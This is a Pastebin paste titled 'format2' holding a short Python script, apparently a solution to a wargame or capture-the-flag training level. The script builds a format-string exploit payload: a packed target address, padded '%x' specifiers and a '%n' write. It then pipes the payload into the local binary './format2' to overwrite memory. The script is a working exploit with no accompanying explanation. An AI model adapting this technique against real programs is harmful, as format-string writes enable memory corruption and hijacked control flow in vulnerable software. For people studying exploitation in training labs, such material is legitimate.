SHARE
TWEET

format2

a guest Aug 13th, 2019 54 in 23 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. import struct
  3. import os
  4.  
  5. def main():
  6.  
  7.     payload = ""
  8.     payload += struct.pack("I", 0x0804a028)
  9.     payload += "%18x "*3
  10.     payload += "   %n "
  11.  
  12.     os.system("echo '" + payload + "' | ./format2")
  13.  
  14. if __name__ == "__main__":
  15.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top